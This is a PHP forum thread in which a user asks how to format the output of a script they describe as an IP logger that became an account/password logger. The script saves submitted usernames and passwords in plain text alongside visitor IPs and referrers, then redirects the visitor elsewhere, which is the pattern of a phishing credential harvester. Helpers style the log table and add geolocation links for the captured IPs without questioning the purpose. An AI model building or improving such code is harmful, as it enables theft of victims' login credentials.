WKX Posted March 26, 2014 Share Posted March 26, 2014 I was creating a simple IP logger for my website, which turned in a basic account/password logger. I just want to place everything in a nice neat table, with a header for each column. Now my php code generates a .html for the log file. I tryed everything but I don't know if I need to edit the .html and add some css or edit the php file to create the table. Does anyone here have any ideas? I just want something basic. My php code: <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); $ip = $_SERVER['REMOTE_ADDR']; if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = "<b>[Date] -</b> " . $today . " <b>[IP] - </b>" . $ip . " <b>[Account] - </b>" . $nam . " <b>[Password] - </b>" . $pas . "<br />"; $filed = @fopen("logs.html", "a+"); @fwrite($filed, "$content\n\n"); @fclose($filed); } header('Location: http://mytrips30.3owl.com/'); exit; ?> My .html generated log file: <!DOCTYPE html> <html> <STYLE type=text/css> body {color:white;} </STYLE> <body style="background-color:black;"> </body> </html> Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/ Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 (edited) Hi, I would of thought you'd build the table in this string since it has html through it already and the output data: $content = "<b>[Date] -</b> " . $today . " <b>[IP] - </b>" . $ip . " <b>[Account] - </b>" . $nam . " <b>[Password] - </b>" . $pas . "<br />"; to something like (Mock code): $content = "<tr><td><b>[Date] -</b> " . $today . " <b>[IP] - </b>" . $ip . " <b>[Account] - </b>" . $nam . " <b>[Password] - </b>" . $pas . "</td></tr>"; Edited March 26, 2014 by Ansego Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473894 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 The modified code above did not do anything Ansego This is how the .html file looks once its created, I just want to create a table with rows and columns. Also, I want to have the table create a new row once another account/password is logged. Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473900 Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 Try this: $content = "<table><tr><td><b>[Date]: -</b>" . $today . "</td></tr><td><tr><b>[IP]: </b>" . $ip . "</td></tr><td><tr><b>[Account]</b>" . $nam . "</td></tr><td><tr><b>[Password]</b>" . $pas . "</td></tr></table>"; Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473908 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 This is how the .html looked: [iP]: 24.89.195.253[Account]rrrrrfgh[Password]ghj [Date]: -March 25, 2014, 9:47 pm Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473910 Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 um, A table in HTML looks something like: <table width="300" border="0" cellspacing="0" cellpadding="0"> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> </td> </tr> </table> We want to convert that with your variables something like: $content = "<table width='300' border='0' cellspacing='0' cellpadding='0'> <tr> <td> </td> <td> </td> </tr> <tr> <td>Data:</td> <td>" . $today . "</td> </tr> <tr> <td>IP:</td> <td>" . $ip . "</td> </tr> <tr> <td>Account: </td> <td>" . $nam . "</td> </tr> <tr> <td>Password:</td> <td>" . $pas . "</td> </tr> <tr> <td> </td> <td> </td> </tr> </table>"; If this fails we will need to look at something else. Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473912 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 (edited) Data: March 26, 2014, 7:19 am IP: 24.89.195.253 Account: test Password: test Data: March 26, 2014, 7:20 am IP: 24.89.195.253 Account: test2 Password: test2 looks awesome! I am going to see if I can change the color of the table lines white and change the color of the $content Edited March 26, 2014 by WKX Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473945 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 This it how looks now! I just want to the Account Data section to be a different color and there to be a couple of spaces in between each table, I tryed inputing a color font into php but was getting error's Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473947 Share on other sites More sharing options...
Ch0cu3r Posted March 26, 2014 Share Posted March 26, 2014 I just want to the Account Data section to be a different color and there to be a couple of spaces in between each table, For the spacing apply a margin to the table in your css table { margin: 10px; /* Applies 10px space around each table */ } ryed inputing a color font into php but was getting error's What code did you try? Post your code here. Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473950 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 I put the code above to create a margin around the table in my CSS tags in my .html file: <!DOCTYPE html> <title>Account Logs</title> <html> <STYLE type=text/css> body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; table { margin: 10px; /* Applies 10px space around each table */ } </STYLE> <body style="background-color:black;"> </body> </html> Nothing happened. I try'd changing the font color of the "Account Data" column via the .php file, but nothing happened, any ideas? Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473953 Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 Change the cellspacing and cellpadding to what every space you want: <table width='300' border='0' cellspacing='0' cellpadding='0'> Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473955 Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 (edited) Replace your css code: <style type="text/css"> body { background-color:#666; color:#FFF; } #account{ color:#3CF; } </style> With the text colour: <td>Account: </td> <td>" . $nam . "</td> Change too: <td class='account'>Account: </td> <td class='account'>" . $nam . "</td> Edited March 26, 2014 by Ansego Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473959 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 that code did not work I did mange to create a margin around the table and center it I just want two more things. 1) I just want to know how to change the color of the $content in table. 2) When the log is generated, have the logged IP address hyperlinked to "http://www.geoiptool.com/" Thank you so much Ansego Here is what I have so far in my php code: <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); $ip = $_SERVER['REMOTE_ADDR']; if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = "<center><table width='600' border='1' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center> <tr> <th>Information</th> <th>Account Data</th> </tr> <tr> <td>Date:</td> <td>" . $today . "</td> </tr> <tr> <td>Link:</td> <td>" . $ref . "</td> </tr> <tr> <td>IP:</td> <td>" . $ip . "</td> </tr> <tr> <td>Account: </td> <td>" . $nam . "</td> </tr> <tr> <td>Password:</td> <td>" . $pas . "</td> </tr> <tr> <th>Information</th> <th>Account Data</th> </tr> </table>"; $filed = @fopen("logs.html", "a+"); @fwrite($filed, "$content\n\n"); @fclose($filed); } header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg'); exit; ?> Here is what I have so far in my .html file: <!DOCTYPE html> <title>Account Logs</title> <html> <STYLE type=text/css> body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; table, td, th { border:1px solid green; } th { background-color:green; color:white; } </STYLE> <body style="background-color:black;"> </body> </html> Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473965 Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 Hi. 1) I just want to know how to change the color of the $content in table. $content is just a variable that holds your string of your table, you don't change the color of that. You would change the color of your table within that string if you wanted... 2) When the log is generated, have the logged IP address hyperlinked to "http://www.geoiptool.com/" Something like: <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</a></td> Hope this helps, please mark as solved if you are satisfied. Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473968 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 and change the border color to green Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473969 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 updated: I just want the border around "Information" "Account Data" to show <!DOCTYPE html> <title>Account Logs</title> <html> <STYLE type=text/css> .main-table { border-collapse: collapse; } .main-table td { margin: 0px; padding: 0px; border: 1px solid #00FF00; padding: 4px 4px 4px 4px; } a:link {color:#00FF00;} /* unvisited link */ a:visited {color:#00FF00;} /* visited link */ a:hover {color:#7FE817;} /* mouse over link */ a:active {color:#00FF00;} /* selected link */ body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; table, td, th { border: 1px solid #00FF00; } th { background-color:green; color:white; } </STYLE> <body style="background-color:black;"> </body> </html> my php code: <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); $ip = $_SERVER['REMOTE_ADDR']; if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = "<center><table width='600' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center> <tr> <th>Information</th> <th>Account Data</th> </tr> <tr> <td>Date:</td> <td>" . $today . "</td> </tr> <tr> <td>Link:</td> <td>" . $ref . "</td> </tr> <tr> <td>IP:</td> <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td> </tr> <tr> <td>Account: </td> <td>" . $nam . "</td> </tr> <tr> <td>Password:</td> <td>" . $pas . "</td> </tr> <tr> <th>Information</th> <th>Account Data</th> </tr> </table>"; $filed = @fopen("logs.html", "a+"); @fwrite($filed, "$content\n\n"); @fclose($filed); } header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg'); exit; ?> Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473989 Share on other sites More sharing options...
Solution Ansego Posted March 26, 2014 Solution Share Posted March 26, 2014 (edited) Looks good well done. <TD> <td style="border:#666666;border:thin;"> </td> Or in the <TR> <tr style="border:#666666;border:thin;"> </tr> Edited March 26, 2014 by Ansego Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473994 Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 I got it fixed: <!DOCTYPE html> <title>Account Logs</title> <html> <style type="text/css"> .main-table { background-color:#000000;border-collapse:collapse; } .main-table th { background-color:#008000;color:white; } .main-table td, .main-table th { padding:4px;border:1px solid #008000; } a:link {color:#00FF00;} /* unvisited link */ a:visited {color:#00FF00;} /* visited link */ a:hover {color:#7FE817;} /* mouse over link */ a:active {color:#00FF00;} /* selected link */ body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; </STYLE> <body style="background-color:black;"> </body> </html> Thank you so much Ansego! Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1473999 Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 All good mate, glad we could help. Please marked solved if your all good. Quote Link to comment https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/#findComment-1474001 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.